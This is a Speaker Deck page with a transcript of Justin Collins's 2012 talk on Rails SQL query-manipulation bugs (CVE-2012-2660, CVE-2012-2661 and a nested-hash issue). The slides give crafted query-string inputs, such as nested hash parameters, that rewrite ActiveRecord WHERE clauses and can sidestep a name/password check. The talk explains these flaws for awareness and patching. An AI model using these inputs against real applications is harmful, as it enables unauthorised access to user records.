Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
"Recent Rails SQL Issues" - 2012
Search
Justin Collins
April 23, 2015
Programming
0
63
"Recent Rails SQL Issues" - 2012
Justin Collins
April 23, 2015
Tweet
Share
More Decks by Justin Collins
See All by Justin Collins
Continuous (Application) Security at DevOps Velocity
presidentbeef
0
130
The Evolution of Rails Security
presidentbeef
1
760
Brakeman RailsConf 2017 Lightning Talk
presidentbeef
0
120
Practical Static Analysis for Continuous Application Security
presidentbeef
0
180
"...But Doesn't Rails Take Care of Security for Me?"
presidentbeef
1
400
Continuous Security with Practical Static Analysis
presidentbeef
1
280
Security Automation at Twitter - Rise of the Machines
presidentbeef
0
210
The World of Rails Security - RailsConf 2015
presidentbeef
8
1.1k
Tales from the Crypt
presidentbeef
1
200
Other Decks in Programming
See All in Programming
密集、ドキュメントのコロケーション with AWS Lambda
satoshi256kbyte
0
190
Formの複雑さに立ち向かう
bmthd
1
850
WebDriver BiDiとは何なのか
yotahada3
1
140
CSS Linter による Baseline サポートの仕組み
ryo_manba
1
100
負債になりにくいCSSをデザイナとつくるには?
fsubal
9
2.4k
Pythonでもちょっとリッチな見た目のアプリを設計してみる
ueponx
1
560
第3回 Snowflake 中部ユーザ会- dbt × Snowflake ハンズオン
hoto17296
4
370
Kubernetes History Inspector(KHI)を触ってみた
bells17
0
230
なぜイベント駆動が必要なのか - CQRS/ESで解く複雑系システムの課題 -
j5ik2o
10
3.6k
CDK開発におけるコーディング規約の運用
yamanashi_ren01
2
120
JavaScriptツール群「UnJS」を5分で一気に駆け巡る!
k1tikurisu
9
1.8k
Amazon ECS とマイクロサービスから考えるシステム構成
hiyanger
2
560
Featured
See All Featured
Visualization
eitanlees
146
15k
GitHub's CSS Performance
jonrohan
1030
460k
Why Our Code Smells
bkeepers
PRO
336
57k
Responsive Adventures: Dirty Tricks From The Dark Corners of Front-End
smashingmag
251
21k
ピンチをチャンスに:未来をつくるプロダクトロードマップ #pmconf2020
aki_iinuma
114
50k
Adopting Sorbet at Scale
ufuk
74
9.2k
Product Roadmaps are Hard
iamctodd
PRO
50
11k
Improving Core Web Vitals using Speculation Rules API
sergeychernyshev
9
440
ReactJS: Keep Simple. Everything can be a component!
pedronauck
666
120k
A Tale of Four Properties
chriscoyier
158
23k
Optimising Largest Contentful Paint
csswizardry
34
3.1k
[RailsConf 2023] Rails as a piece of cake
palkan
53
5.2k
Transcript
Rails Vulnerabilities Last Week CVE-2012-2660 CVE-2012-2661
CVE-2012-2660 Allows unexpected “IS NULL” in queries Affects Rails 2.x
and 3.x
ActiveRecord Query unless params[:name].nil? @user = User.where(:name => params[:name]) end
Query Parameters ?name[] {"name"=>[nil]}
ActiveRecord Query unless [nil].nil? @user = User.where(:name => [nil]) end
Resulting SQL SELECT "users".* FROM "users" WHERE "users"."name" IS NULL
CVE-2012-2661 Allows some manipulation of WHERE clause via “dotted” query
keys Affects Rails 3.x
ActiveRecord Query User.where(:name => params[:name])
ActiveRecord Query User.where("users.name" => params[:name])
Query Parameters ?name[users.id]=1 {"name"=>{"users.id"=>"1"}}
ActiveRecord Query User.where(:name => {"users.id" => "1"})
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1
Unreleased Vulnerability Allows some manipulation of WHERE clause via nested
hashes in query values Affects 2.3.x and 3.x
ActiveRecord Query User.where(:name => params[:name], :password => params[:password])
Query Parameters ?name[users][id]=1&password[users][id]=1 {"name"=>{"users"=>{"id"=>"1"}}, "password" =>{"users"=>{"id"=>"1"}}}
ActiveRecord Query User.where( :name => {"users"=>{"id"=>"1"}, :password => {"users"=>{"id"=>"1"} )
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1 AND "users"."id" = 1